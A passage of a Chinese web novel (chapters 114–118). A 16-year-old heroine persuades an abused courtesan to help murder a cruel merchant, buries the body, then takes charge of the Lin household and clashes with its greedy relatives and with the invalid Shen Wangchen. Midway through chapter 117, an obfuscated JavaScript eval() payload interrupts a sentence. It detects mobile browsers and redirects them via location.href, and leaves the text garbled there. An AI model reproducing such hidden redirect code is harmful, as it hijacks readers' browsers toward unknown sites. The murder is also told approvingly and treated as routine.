春花何等聪明？只消听她这么一讲，便通晓了其中所有利害关系。 也就是在这一刻，春花发现自己变了：从前只知道围在大爷和沈公子旁满脑子都是这两人其他一概不想的她，不知何时居然也变得心思通透，有些事儿她只需一想便能通晓所有，再也不是林府里那个只知道服侍人卖力气的蠢丫鬟了。 可她还是有一件事不懂：“小姐，你找绮梦院里的那位湘红小姐做什么？” “我么？”她微微一笑，从容温顺，“我想找她做个交易罢了。” 有春花在其中牵线搭桥，白栖枝很快就掌握了钱有富近日来的消息，得知他变得如此暴戾，她就知道这事儿没有输的概率。 可湘红就算不是绮梦院的头牌，也在院中有着举足轻重的份量，自己想让她见上一面恐怕还是太难。 白栖枝用了一点点小伎俩，如所有爱慕花楼的穷书生一样，她给湘红画了一幅小相，上头还提了句脂粉气的诗。但事情也不是那么顺的，白栖枝一连等了五六天才有消息。 湘红约她午夜后入院详谈，到时自有龟奴引她进来。 龟奴是这绮梦院里最下贱的存在，平日里就做做端茶，倒水，劈柴，扫地的粗活儿，地位不比那些姑娘，为了不得罪湘红，那位龟奴自然就帮着白栖枝顺利进入楼内。 湘红白天方被钱有富磋磨完，她以为白栖枝是什么有才情文采的惨绿少年，便拖着满是淤青的身子换了身儿干净衣服，又往脸上擦了些胭脂水粉，上头刻的还是“香玉坊”的字样。 一切准备完毕，她才忍着“扑通扑通”的心跳叫那位只在诗画上留了一个“白”字的人进来。 看到面前人是个才十六岁的小姑娘，湘红顿时兴致尽失，说小孩子家家的赶紧走，别来绮梦院找乐子，要是被老 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“其实也没什么。”白栖枝柔柔道，“就是想和姐姐……想和姐姐……”她难为情地咬了咬下唇，倾身帖耳道，“杀、了、钱、有、富。” “咚！” 瘦小的身子被猛地一推，白栖枝不可避免地头撞到床边，痛得她倒吸了一口冷气。 白栖枝也不恼，只一直笑眯眯地看向湘红道：“难道姐姐不想杀了他么？”她缓缓起身，“姐姐，妹妹可是知道的，那钱有富不是个东西，成天变着法儿地折磨姐姐，您瞧——” 不待湘红反应，她忽地凑到湘红身边抓住她的手腕一捋。 宽大的袍袖被掀开，上面满是紫青斑驳的淤痕，在这淤痕之上，有的地方被抽的绽开皮肉，有的地方则刚长好一道痂，还有些地方血痂已经剥落，上面留下了棕色夹着粉红色嫩肉的伤疤，活像一张张干瘪的小嘴，在无声地控诉着钱有富在这幅身子上做下的孽。 白栖枝立即说道：“姐姐，妹妹可是知道的，在这绮梦院里的姑娘，倘若皮肉废了，下半辈子定是难过，您看钱有富如此待您，不是生生想要断您下半辈子的活路么？况且就算是杀他，也是妹妹动手，姐姐只需要将他约到城东头的那座破庙里，就算日后官府查下来，也只是妹妹一个人的错，绝不会连累姐姐的。姐姐——” 看着湘红看着伤疤失神的模样，白栖枝再次与她十指紧扣，让自己掌心的温度顺着她的掌纹流淌遍整具身躯的皮肉，然后，低头轻轻亲了一下她胳膊上的伤疤，温声道：“机会可就只有这么一次，倘若错过，您，以及这绮梦院上上下下恐怕这辈子都要受钱有富的折磨了。好痛啊，姐姐。你看，怎么会这么痛啊？如果他不去死，您是不是要一直这么痛啊？姐姐，妹妹真是好心疼你啊……” 屋子里静的跟死了一样，唯有烛火摇曳，将两个人的影子扭曲交缠，活像两条暗中欲夺人性命美人蛇。 良久—— “好，我可以答应你。”湘红看向一脸情真意切白栖枝。 末了，她蓦地一笑，露出独属于花楼姑娘身上才有的妩媚，挑起白栖枝的下巴轻蔑道：“不过你口口声声说心疼我，不如今夜就在这里睡下，我倒要看看你说的心疼是怎么个心疼法儿。” 白栖枝：……有点不妙啊。 115. 林家 除却男恩客，绮梦院里偶尔也会招待一些口味独特的女恩客。 但白栖枝还这样小，湘红只是吓吓她罢了，两人在床上探讨了一下白栖枝的计划，直到天际亮起一抹鱼肚白，她到底还是把白栖枝送走了。 白栖枝趁着这两天练了练袖箭。这东西还是在她收拾行李时沈忘尘叫她拿上防身用的。虽然明白他的好意，但白栖枝还是觉得乱闯小姑娘房间是一件十分不对的事情。 “咻——” 破风声猛地呼啸而出，正好扎在破庙内的墙壁裂痕处。 白栖枝蓦地想起上次她在破庙内的遭遇，那时候她跑的太急，居然忘记拿袖箭，害的自己差点被贼人所害。 可惜了，那截小指，去皮剥肉后没准儿能制成个哨子暂作留念。 “咯吱咯吱。” 脚步声？有人来了。 白栖枝隐藏好手中的袖箭，隐到一旁，内心还忍不住嘲笑了下钱有富又胖了，连带脚步声都如此沉重，真是…… 她摸了摸手上绑好的袖箭，准备等那人一进来，就将他一击毙命。 有人影黑漆漆地压在庙内稀薄的雪上，白栖枝默默抬起胳膊，准备发出致命一击。 可是…… 来的人为什么不是钱有富？ 钱有富那个畜生，居然先派人进来一探，然后才在湘红的勾引下前来。 甫一进入，钱有富就像饿狼一样将穿着偏薄的湘红扑倒在地，打算将她拆骨入腹。 也就是那个时候—— “噗！” 箭镞扎进太阳穴内，一滴血也没有溅出来。 那人一定是疼得很，不然为什么脸色白成那个样子？ 钱有富想大叫，湘红就死死捂住他的嘴。 钱有富狠狠咬上她的手，湘红就掐住他的喉咙。 有血顺着雪白的胳膊渐渐溢出。 等到雪地蜿蜒到湘红胳膊肘的时候，钱有富不动了。 他猛地扑倒在地，像一具真正的尸体一样，身躯渐渐僵冷下来。 虽然过程有些曲折，但到底还是杀死了。 湘红也没想到，自己第一次见到尸体居然也不害怕。她帮着白栖枝将人拖到破庙后头，后头有早就准备好的锄头。 挖坑，埋尸，填土。 白栖枝熟练得好像做过很多次，湘红一开始还义愤填膺地骂着钱有富，后来又渐渐害怕起来，问白栖枝如果钱府有人发现钱有富失踪怎么办？ 白栖枝边埋边说道：“不会的，有人会很开心——这笔交易的受益者不止你与我。” 湘红刚开始还纳闷，蓦地，她想到，这钱有富本来就是个上门女婿，因老丈人死后才得了家财飞黄腾达。 倘若他死了除了她和白栖枝外，能开心的就只有……湘红瞬间明白，继续指着钱有富那张死猪脸破口大骂。 等到白栖枝埋完，湘红也就骂完了，她这时才顾及到手上的痛。湘红本想扯下一块衣服包扎伤口，可她身上的衣服本不多，站在寒风里尚且瑟瑟发抖，倘若真撕下去一块，岂不是要冻死她？ 正在她想要继续发脾气的时候，一个温热的丝绸触感覆上了她僵冷的手。 白栖枝在为她包扎伤口：“这件事，你不说，我不说，没有人会知道。从今天起，姐姐就当没见过我，我们之间什么来往都没有，记住了吗？” 说完，她抬头笑了一下，那笑容令湘红毛骨悚然。 蓦地，湘红像是想到了什么，看着白栖枝那张笑脸，竟与当初某位来还她手帕的小姑娘的，她讶异一瞬，急忙问道：“等等，你是不是，” “不是。”白栖枝握住了她那只受伤的手，不轻不重不痛，声音柔和，“姐姐不要忘了，我没有身份，我谁也不是，我和姐姐从没见过。” ——我们从没见过。 打那日后，白栖枝就过上了吃吃喝喝、逛街买漂亮衣裳首饰、顺便听春花讲八卦的悠闲日子。 春花倒也没闲着，打钱有富死后桃妆轩居然一下子没落下来，她赶紧劝李素染将它收购下来。 这下子，香玉坊的铺子又扩大了不少。 直到某天，白栖枝从春花口中听到沈忘尘被那些愚民气到吐血的时候，她就知道，是该自己登场了。 不过，一想到沈忘尘没名没分的，居然能和他们那些行凶撒泼的人纠缠这么久，白栖枝忍不住在心中夸赞他一句厉害。 耳畔，春花急切的声音再次响起：“小姐，您什么时候才回来啊？林家真的要不行了。” 看着她着急的神情，白栖枝微微一笑，答应道：“明日，午时三刻。”如同行刑。 第二天一早，白栖枝找了家锦体社[1]，给自己留疤的眉心又点了一颗红痣，只是与天生肉长的不同，这没痣没有凸起感，扁平的，像花钿，被针一点点蘸墨刺入，殷红的不像话。 做完这些，白栖枝又回客舍收拾行装，换华服，将从前那些东西烧掉，登上马车，这才能以全新的身份进入林家人眼帘。 至于那张婚契，是她仿的，真品自然不敢给那些人瞧见，不然万一被他们夺走撕毁怎么办？ 一路上，白栖枝脑子都是空白的。 她知道，这次一回，倘若林听澜真的死在海里头了，那她就真的要把一辈子都赔进林家了。 可是、可是！ 白栖枝攥紧双手，恨不能将指甲刺入肉中。 可是，经此一遭，她就能在名义上掌握林家的权势，就能借力为家中报仇。 只要能做到这一点，就算把一辈子赔进去，她也未必做不得！ 看着面前人带笑的面容，白栖枝总觉得自己气儿短，她赶紧补道：“别这样看我，我要的只有钱，我这次回来为的就是林家的家产，别想多！” 沈忘尘笑着一针见血：“你不放心我？” 白栖枝没搭话。 沈忘尘轻笑道：“你不放心我。” “才不是！但……”白栖枝顿了顿，心虚目移道，“倘若你真的就这么死了，林听澜会杀了我的。” 她从不质疑男人的力量与手段，倘若沈忘尘真的就这样在林家死掉，她真的会被林听澜弄死的。 另一边，林家客房内。 “七叔公，这白小姐明明十四岁就能嫁到林家来，可时 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“这个好这个好，还是老四有手段啊！” 众人七嘴八舌地讨论该如处置这位半路杀出的白家小姐，但讨论到底还是讨论，没有七叔公开口，众人谁都不敢拿主意，就算说了，也是说一句就要揣摩一下七叔公的神色，看他如何定夺。 他们说得唾液横飞，七叔公却是连动都不动一下，就坐在那张金丝楠木椅上拄着那根红木鸠杖闭目养神，松弛的眼皮耷拉下来，活似林家的老神仙。 渐渐的，讨论声小了下来，有人端起茶盏喝了一口，觉得味道太淡又泼到地上。 这水浇地的声刚响起，原本还闭着眼的老神仙缓缓睁开了眼，从不知道是鼻子里还是嗓子眼冒出一口老气来。 旁边有人说话了：“七叔公，您看，不若咱们现在就解决了她，省得她还要当林家的当家主母，不然她在一日，咱们就不安生一日，还是早做决断得好。” 众人对这话都深以为然，他们恨不得白栖枝现在就死，这样林家除了那个油尽灯枯的沈忘尘就再没人能阻止他们。如此一来，瓜分林惊堂的那些个财产，还不是他们动动指头的事儿？哪里还需要这么撕破脸面。 “不。”七叔公开口，声音苍老浑浊，语气又格外镇定，“要她嫁，最好还要大办，要让全淮安都知道她嫁到了咱们林家，是咱林家的媳妇。” “七叔公，这……” “闭嘴！混账东西，七叔公还没说完呢！轮得到你这小畜生说话，滚到一边儿去！” 被训斥的年轻人悻悻闭嘴，低眉眼顺地继续听这位“老神仙”讲话。 老神仙缓缓开口了：“虽说是要嫁，但是也不能让她太过如意，最好是丢尽脸面，成为全淮安甚至整个大昭的笑话，这样才于我们有利。” 话说到这儿就戛然而止了，林老八揣摩着他的意思，谨慎开口：“七叔公的意思是……我们要扶持一个傀儡？” 老神仙闭目不语。 下头有人挠头问道：“老八老八，七叔公是个什么意思，我们怎么没听明白？你倒是给我们解释解释啊！” 116. 商定 林老八到底是这一群人里读书读得多的，还要为下头那些个云里雾里的人解释道：“七叔公的意思是，如今澜儿不在，掌家做生意的自然是她，咱们要娶一个傀儡主母进门，最好还让她在拜堂时丢尽颜面，这样全淮安的人都会知道她是个不中用的人，这样咱们就自然而然地可以夺过林府掌家大权，瓜分林家家产了。” “可倘若拜堂时差错都被她躲了怎么办？那咱们的计划不就扑空了？” “就算扑空了也没关系，到底还是个傀儡，待她婚后咱们用些小手段，她不还得乖乖为咱们做事？到时候她负责去外头拉拢生意，但赚的钱都流到咱们手里，免费的奴仆谁不喜欢？” “可婚后她就是主母了啊，咱们能用什么手段威胁她让咱们做事啊？” 底下有人朝外头看了一眼，低声道：“这林家，不是还藏着个男宠么？” 依照他们的想法，第二日他们就借着婚契为由逼白栖枝素素与林听澜成婚。 白栖枝自然是不愿的。可她不嫁，林家就要落到这些人手里，她分文不得；可若嫁了，她这辈子就要被拴在林听澜身边，如若想离，就得受两年的牢狱之灾。 沈忘尘得知白栖枝被“请”去商讨这件事时，一向沉稳平静的他也忍不住暗暗担忧。 他与白栖枝相处多年，自然知道她是什么想法。她不愿嫁，这事儿他是知道的，但再怎么他想到的法子也只是囚禁她，并不想真的对她做什么手脚，但林家人不一样。那些人是没读过书不知道礼数的，心狠起来跟疯狗一样见人就咬，枝枝若是落在他们手里，指定没个好下场。 沈忘尘想去找她，可一旁伺候的下人早早地都被白栖枝支走了，身边儿没了人帮忙，他连下床都下不了，更别说去找白栖枝了。 沈忘尘不是第一次恨自己这双没知觉的腿了，就因为这双腿，自己处处受限，只能当一个瘫在床上的废人。 他当年到底为什么非要拿自己这双腿做誓？为什么要拿自己这双腿赌咒？分明这根本不是他会做出来的事啊！ 所以，为什么呢…… 沈忘尘还在黯然神伤，蓦地，房门被打开，一个瘦小娇弱的身影压了进来。 白栖枝一进来就看到沈忘尘在伤神，她缓缓走到她面前。 两人两相对视，她看着他，他也看着她，都是一副心力交瘁的模样。 “枝……”沈忘尘收敛了神色，又恢复了浅淡温润的笑意，想开口想说些什么，却被打断，“沈忘尘，你真是赢了。”少女冷冷道，“你的心愿达成了，开心吗？沈、哥、哥。” 最后这一字一顿的称呼出来，沈忘尘就知道一切都尘埃落定了。 他忍着心痛，苍白的薄唇勾起一个浅浅的弧度，温声问道：“日子定下来了？” 白栖枝的眸光瞬间又冷下几个度。 “沈忘尘你就这么喜欢当一个见不得人的男宠？”她怒极反笑，“还是你真的一点儿也不懂你现在的处境？成亲之后，我就是林听澜的正妻，而你，无名无分，你就只能做藏在林家里的一个见不得人的男宠！沈忘尘，你当真要如此？” 沈忘尘微微一笑：“是啊，所以沈某说过，日后沈某就要仰仗主母您了。”他补道，“还请主母大发慈悲，不要把我撵出去。毕竟我这个见不得人的男宠也早被逐出族谱，没有家可寻，出去了就只有死路一条。看在往昔的情分上，还请主母大人给我个容身之处，沈某感激不尽。” 他声音柔得能拉丝，眼神也不清不楚，看得白栖枝心头直跳，恨不能立马夺门而出，再也不要见到这个人！ 好可爱…… 看着白栖枝脸上表情的裂痕，沈忘尘在想，果然逗孩子实在是件有趣的事，可惜他这辈子注定是个无子无女的命，不然他也很想享受享受养孩子的乐趣。 沈忘尘就像只狡黠坏笑的狐，不顾白栖枝扭曲的表情，还在从容淡定地笑着盯着她看，仿佛根本没意识到自己刚才那些话对她产生了多大的冲击。 白栖枝勉强忍下自己抑制不住的心悸和恶心，没好气道：“谁要庇护你？！别忘了，你当初可是想怎么对我的，什么囚禁，什么用手段逼迫我和林听澜同房，什么要我诞下林家的子嗣！你简直、简直！” “人面兽心？”沈忘尘笑着好心为她题词。 白栖枝有点恼羞成怒了：“要你说？！”她努力平复下自己的心情，甩狠话道，“总之，年前我就要和林听澜成亲了，你究竟想怎样，你自己看着办吧！” 说完，她学着林听澜生气时的模样一甩袖子，还甩不对，于是尴尬又气呼呼地逃走了。 “成亲么……”直到白栖枝离开，沈忘尘才卸下自己脸上的笑意，目光盯在房间的一片虚无处出神。 他知道，白栖枝虽然还有些稚嫩，但到底不是傻子。 她很明白那些人会逼她嫁进林家，会想方设法地刁难她侮辱她，只要她进了林家的门，除非真的生出羽翼与他们抗衡，否则她一辈子就只能受他们压制，别说再逃出林府，恐怕日后连活着都难。她一个小姑娘家又怎么能受得住他们的磋磨呢？ ——可是，我想为我家中昭雪，我要为我家中昭雪！ ——除了回来，我没有别的法子。我需要林家的钱！我需要林家的势！有钱有势的才是爷，没钱没势在这世上什么都不是！ ——林听澜说过，他会跟我商量该如何补偿我，可他现在失踪了，连带着说出的话都没了分量，所以我只能要握住他所有的家财，就当是他这些年来对我的补偿！至于此后所有，等他能活着回来再与我清算也不迟！ 这是白栖枝在说完林听澜会回来杀了她之后说出的话，她总是在觉得无用的牺牲中表现得很胆小，又总是在自己想要的目标里做的很大胆，像一团小火苗，闻风则息，遇柴则烈，实在是很难不让人喜欢。 可是往往这样的性子才最让人担心。 沈忘尘总担心她会为此殉道——她太清楚地知道自己究竟想要什么了，以至于在此之内死生不论，甚至于叫人觉得她在报仇之后之后她都没办法活下去，只能随家人而去——他太害怕她会早早地殉道而死，她不该落得个早逝的结局。 所以 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“与公鸡拜堂可以，只是这堂拜了，我就是林家的媳妇，白。林两家就是名正言顺的亲家。既然是亲家，那我白家嫁妆已付，你林家是不是也得拿出些诚意来？至少聘礼这边不能下得比我白家少，不然传出去，丢脸的可是你们林家，丢祖宗面子的也是你们林家，各位觉得如何？” 聘礼？ 众人哪里知道林家还未付聘礼这件事？！ 要知道长平那边的聘礼可是一笔不小的数目，把这笔钱给出去了，跟在他们身上剜下一块腿肉有什么区别？ 众人纷纷面色犯难，一齐看向七叔公。 七叔公依旧闭目不言。 白栖枝也知道他们不想出这个钱，又道：“那好，你们不想出也可以，那我就只要香玉坊、云青阁、还有林家典当行的地契，给我这三样，我就不要你林家的聘礼，如何？” 有人指着她的鼻子咆哮道：“你这简直是狮子大开口！” “狮子大开口？”白栖枝笑了下，“说实话，我是林家的主母我要什么拿不走？好，既然这三样你们不给我，那就把林家的茶楼都挪到我名下吧，左右当初你们林家开茶楼做茶商的钱也是我阿父出的钱，算上聘礼钱，拿走你们几个茶楼你们也不算亏。不过你们不愿意也可以，那这亲我就不成了，按照当初林伯父给我们白家打的欠条来看，”她缓缓从袖子里翻出欠条，打开，仔仔细细地看着，“你们林家应赔我一般的家产——自己想吧。” 那可是一半的家产啊！ 听到这个词的时候，在座无人不狠狠倒吸了口凉气。 倘若方才的条件只是剜他们腿肉的话，那现在这些条件简直是在剜他们的心！这下子还让不让他们活啊！！！ 良久，堂内无人出声。 白栖枝折好欠条放进袖里，正准备起身欲走—— “好。”一直假寐的七叔公居然睁开了眼，缓缓道，“就按白小姐说的做，只是这婚仪如何办，办到什么程度，白小姐便只能听我们林家的了。” 白栖枝仍是一副不咸不淡的模样：“好。” …… 117. 较量 婚期定在腊月廿六，还有好长的一段时间。 但也不长了，将一切想做的做完，距离婚期也就好短了。 如果说沈忘尘是一双废腿瘫在床上不能动，那白栖枝一双好腿就是天天在林家倒腾。 一会儿是为林家理账，一会儿是安排年节前各个铺子里的生意，一会儿又是和林听澜那堆难处理的亲戚们斗智斗勇，偏巧沈忘尘还得了风寒，白栖枝恨不得自己一个人能劈成十瓣用。 好在林听澜多年打理下来，整个林家的生意还算安稳，便照着从前的法子安排下去就好。 如此一来，白栖枝要操心的就只有林家。 且不说那几尊大佛，光是沈忘尘这么个病秧子就够她折腾得了，听说前几天那人还发了高烧，但一直忍着不说，还是白栖枝发现端倪偶然问一嘴才知道情况，气得她赶紧往院子里奔——她真是生怕自己一个不注意沈忘尘就死她手里头。 “你是什么一两岁的稚童么？什么都忍着不说，非要别人猜着问着才敢告诉！沈忘尘你再有一次这样，看我还管不管你！” 小姑娘气呼呼地撸起袖子闯进来，又气呼呼地叉腰走了。 沈忘尘真是越发觉得她身上有一种为人母般的气质了，连跟他说话都是连骂带吓的，真当他是什么小孩子了？ 明明整个林府里最小的应该是她才对…… 不过也是这次再见，沈忘尘也才发现白栖枝相较于一个月前进府时确实憔悴不少，且不说那苍白的小脸儿，光是眼眶下那一圈乌青，就能看出她真是好久没睡个好觉了。 人睡得少就会脾气差。 所以在被沈忘尘叫来的时候白栖枝简直要变成一个小炮仗：“沈忘尘，你养病就好好养病，难受了就去找郎中，叫我过来做什么？” 她来时，脸上不知是不小心碰得还是怎么样，居然有一道墨痕，搭配着看起来像是被挠乱的脑袋，居然看起来又可怜又笑。 沈忘尘叫屏退下人，叫她先不要生气，自己好好在妆镜前瞧一瞧。 白栖枝被他搞得一头雾水。 本来书房里还有一堆山一样的账本等着她算，后天就要府内上下所有事情打点完毕吩咐下去，该采买的采买，该上贡的上贡，对于林家的风俗她本来就不太明白，又被那些不知道从哪里来的林家远亲揪着学礼仪，她真的已经够烦的了。如果不是大家小姐要脸面，她真的很想啃人！ 饶是如此，白栖枝也只是叹了口气按照沈忘尘说的做。 在看到自己脸上那道未干的墨痕，她蓦地有点尴尬，拿出帕子擦了擦，哪成想这个东西越擦越大，不一会儿她的脸就变成了小花猫。 “旁边有铜盆，洗一洗吧。” 微哑的一把声音响起，白栖枝看了看妆镜旁的水盆，又下意识看了看床上的沈忘尘。 许是目光从沈忘尘那处看有偏差，白栖枝分明是在疑惑他为什么这么好心，但沈忘尘却以为他的目光是在看自己藏在被子里的双腿，仿佛在说他不干净。 他惨白的手指蓦地攥紧被子，越发显得骨节处力可见骨。 沈忘尘几乎是下意识撇过头去，几乎是从牙缝里咬出字来：“那是用来洗脸的，不脏。” “我知道是用来洗脸的啊，不然呢？你说这个干什么？”白栖枝不假思索道，“我只是在想你这么好心是不是想要图谋些什么，有什么话你快说，说完我好安排下去，还有一堆活计等着我呢。沈忘尘，我很忙的，那边还有一堆人要和我斗智斗勇，我真的没时间陪你闹了。” 说着，白栖枝用铜盆里的水绞了手帕仔仔细细地擦自己脸上的墨渍，又转头看向沈忘尘。 在她说完第一句话的时候，沈忘尘就已经微微一愣了。他那双的纤长瘦削的手从被子上松开，平白多了两片褶皱。 “还有！”没等沈忘尘开口，白栖枝又径直走到他床边的榻上，伸手去打开金银香炉上的盖子，“我是不是之前就对你说过，屋子里不要熏这么重的香，你天天这么闻着就算不头晕，对身体也不好。怎么，你要当千百年前的那群文人雅士吗？棺材被掀开都要香香的？” 见她就要摸到香炉的上盖，沈忘尘赶紧急声制止道：“别灭！” “呼——” 香炉上细烟飘渺，炉内原本还如豆蔻般燃得鲜红的香料倏地就只剩下一片煞白的余灰。 “什么？”白栖枝没听到沈忘尘刚才说什么，扭头去看，就发现那原本一直如狐狸般笑得老谋深算的人一下子就红了眼尾。 沈忘尘还在病中，有些情绪难免受不住，面对白栖枝清澈的目光，他垂着头，看起来一副要哭了的样子。 他自厌道：“别灭，会有味道……” “什么味道？”白栖枝已经被失眠搞得说话不过脑子，但话一出口，她就想起之前沈忘尘高烧发病时屋里那股诡异的味道。 听说瘫痪之人有些时候会管不住…… 白栖枝下意识看了眼沈忘尘的下面，又转瞬间针扎似得收回目光，努力摆出一副不尴尬的模样，清了清嗓子。 “吭！咳咳咳！”她盖上金银香炉的盖子，假装一副不小心被浓烈的香薰熏到了的样子，不住用手指尖在鼻尖前扫，语气僵硬地嫌弃道，“有味道……有味道就勤洗勤换呗，林府这么多下人，每天又不是换不过来，你说一声不就好了？” “可是……会很麻烦的……” “这话说的，就像你少麻烦我了一样。还有，”白栖枝走到沈忘尘床前，一把从他被子里拿出那只玉兰花木簪，看着那人无措空白的神情，她拿在手里晃了晃，颐指气使道，“睹物思人是吧？不过我奉劝你一句，先别为他伤心了，你该为你自己担心了。他不在，你就算是落在了我手里，既然在我手里，那你可就要倒霉了。沈忘尘，你废了——你落在我手里了。” 说到这儿，她突然顿了顿，旋即皱起眉头露出一个玩味的笑容，用那根簪子上的玉兰花轻轻挑起他的下巴让他直视着自己的眼睛，轻声道： “我有的是法子糟蹋你。” 白栖枝看着沈忘尘，沈忘尘也在看着她，两相对视之下，两人的眼中就只有对方的眼瞳，除此之外什么也不剩。 突然—— “噗。”沈忘尘不知怎么突然笑出声来，惹得白栖枝一头雾水。 她就看着那人将下巴乖乖放到那根簪子尾端，用下巴轻轻抵着用白玉雕琢的玉兰花那端，因风寒而泛着不正常潮红的那张俏脸上居然露出了乖顺柔软的神情，再加上桃花眼上那微微泛红的眼尾，看得白栖枝心尖直抖。 恍惚间，她听到沈忘尘轻声同她耳语道：“好，那我就等着小枝枝来糟蹋我。” 轰！ 白栖枝脑内轰然作响。她像是被人从后脑打了一闷棍，连带着整个头都晕乎乎的，一片空白。 疯了。 白栖枝觉得这人简直是疯了！好端端的，他不去勾引林听澜反而来勾引她做什么？ 哦！对，林听澜失踪了，他也没办法勾引他。 白栖枝又侧头看了看外面——是冬天没错啊，又不是春天来了，他这是干什么？！就算眼下林听澜不在身旁不能为他排忧解闷，那他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415740|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不能将祸水引到她身上啊！她只是个十六岁的小姑娘！ 他到底想干什么啊？！ 指尖簪子一转，簪子尖端就抵上了沈忘尘雪白脆弱的脖颈。 白嫩的皮肉下有经脉鼓动不息，白栖枝甚至能从木簪上感受到他的心跳，平静的、毫无波澜的，跟她胸腔内那颗快躁动到嗓子眼儿的心一点也不一样。 果然是在逗她。 白栖枝有点生气了：“沈忘尘，你再拿这种事情同我寻开心，小心和破庙内的那个流氓一个下场。” “可是，不是枝枝先拿我寻开心的么？”沈忘尘笑眯眯地说道，“枝枝啊”他从被窝里拿出染了他体温的手，向上一点点攀附上白栖枝的纤细的手腕，轻声道，“威胁人的功夫不到家，是很容易就会被人看穿的，下次不要这样了。” “哒！”白栖枝手中的簪子一下子脱力掉到沈忘尘身侧的锦被上。 在皮肤触碰到他手的一刹那，她的半边身子也跟着肉眼可见地塌陷了下去。 “嗯？”沈忘尘垂眸朝下看去，就见着白栖枝整个左腿都向前弯曲着，华服之下，甚至还能看到整个小腿的腿肉都在止不住地发颤。 被触碰到的地方像是被一万只蚂蚁啃噬着血肉，那股酥麻劲儿随着动脉一直蔓延到四肢百骸，表现最明显的就是她的左臂和左腿，她恨不能将他摸过碰过的地方都切掉、砍掉、扔掉！ “松、松手！”白栖枝想把腿弯直起来却不能，想说话却连带着嗓音都开始发抖，“沈忘尘，你给我松手！” 沈忘尘一开始还没反应过来是怎么回事，但是看着白栖枝小脸上飞出的红晕和眼眶里打转、欲落不落的泪花，他当即就明白过来了，略带疑惑道：“枝枝，你不会还没同他人牵过手吧？” 后者脸上的红晕越发深重了：“沈忘尘你管我？！” 还真是被沈忘尘猜对了，这的确是白栖枝平生第一次如此亲密地跟一个男人牵手。 在这个世道里，女孩子的手哪里能随便叫男人牵着握着？更何况是白栖枝这种官宦人家的大家小姐，旁人连碰一下都不行，连碰一下都是有罪！ 按照白栖枝本来的想法，这事儿怎么也得是情人间才能做，结果！ 啊啊啊啊！ 她真想杀了他！她真想杀了他啊！ 如果不是还有个林听澜的话，她真想现在就绞杀了他！！！ 看白栖枝一副咬牙切齿恨不得绞杀了他的模样，沈忘尘瞬间明了——这就是白栖枝的弱点了。他笑着，将手指松了松，却又不直接松开她的手腕，五指指尖相对，就这么虚拢着也的手腕，笑眯眯地盯着白栖枝看。 那个像是获胜者在等待对手求饶一样的神情，气得白栖枝真想抓起被子上的簪子给他脖子来个刺穿！ 沈忘尘不是不知道她在想什么，但是逗孩子嘛，总要看孩子生气奓毛才有趣，但还是要把握个度，逗哭了就不好玩了——他对于哄孩子可没什么心得。 沈忘尘如是劣根性地想。 床上床边，两人相互较量，谁都不想让谁好过。 这一番皮肉牵扯之下，白栖枝甚至都想过下半辈子只守着一个右手过，但她有有点舍不得，只能如此僵持着。 可到底这场胜负到底还是被沈忘尘捏在手中。 约莫较量了十个呼吸间，最终，白栖枝败下阵来。 “松手，沈哥哥，松手。”她说着，软下语气，试图唤醒沈忘尘最后一丝人性，求饶道，“腿、腿软了……松手……” 混蛋！ 她真想绞杀了他！ 118. 好累 从那之后，白栖枝就再也没理过沈忘尘。 沈忘尘也觉得自己玩得有点过火——到底是一个小姑娘，就算她没别的坏心思，但就算如此也实在是对她不住。 他想同白栖枝道歉，但白栖枝始终不肯见他，无论他是不喝药、装病还是假装有要事同她相商，她都绝不过来。 除了不想见他，也是因为她要忙的事实在太多了，且不说成亲前的那些繁文缛节，光说不久后的年节，采购年货、安排府内下人洒扫、准备祭品、交代各位店主组织年货售卖、与客户结算账目、收回欠款等等、等等，白栖枝脑子都要炸了。 可要做的事情还不止这些，外头的老客要拉拢吧？新客要捕捉吧？这些东西一来一往间都是人情事故。虽然白栖枝不需要亲自去，但她总归要听那些店主前来汇报，又要亲算账目，为的就是怕中间有人趁机贪财捞油水。 等到好不容易忙完这些事，林家的那些远亲也玩命儿似得刁难她，开始是让她学规矩，在祠堂一跪就是一两个时辰，白栖枝想着就当给林伯父伯母祭拜了，就没放在心上，一边跪着一边心算账簿。可后来那些人越来越过分平日里辱骂她也就算了，还把她当做下人用，时不时地就叫她去洒扫房间。一个人如此还不要紧，关键林家那么多人，有的还是平辈，实在是不可饶恕。 但白栖枝也忍了，她知道那些人做事是不计后果的，她现在手里攥着的东西多，最怕的就是和他们鱼死网破。而那些人也正好拿捏住了她这点，拼了命地折腾她。可以说白栖枝一天十二个时辰里，几乎九个时辰都在干活儿。 她实在是没有功夫再去看沈忘尘。 直到某一天—— “白小姐，公子他死了。” “什么？！” 芍药面无表情地说出这句话时，白栖枝刚在祠堂里跪完两个时辰，膝盖都是紫青紫青的。 听到这话，她几乎要疯了，赶紧大步走进沈忘尘的小院子，一脚踹开房门，急忙大喊道：“沈忘尘你别死！你先别死！！！” 结果一进门就看到一个活的笑眯眯的沈忘尘正坐在床上看她，床边还放了碗热气腾腾的汤药。 白栖枝：“……” 此时屋子三日没有熏香，香气淡淡的，根本抵不住那碗药的苦味。当药苦涩的气息流淌进白栖枝鼻腔里的时候，白栖枝突然摇摇头释然地笑了。 “沈忘尘，我这辈子不会再信你一句鬼话！” 后者笑眯眯地摆出一副乖巧的模样，等着她训话。 沈忘尘也知道这么逗她不好，可这几日她身上的担子实在是太重了，前有自己的婚宴要筹备，后有林家一堆人对她围剿刁难，一天天想找个发泄的地方都没有，有什么事都喜欢藏在心里压着、憋着。再这样下去，他是真的害怕白栖枝会被这些事给压垮。 索性自己没事戳一戳、逗一逗她，让她没事骂一骂他，泄泄心火，总比一个人闷着不吱声强。 正好他一个人待着养病也无聊，被骂几句也无所谓，总比自己一个人孤零零地跟个尸体一样躺在床上好。 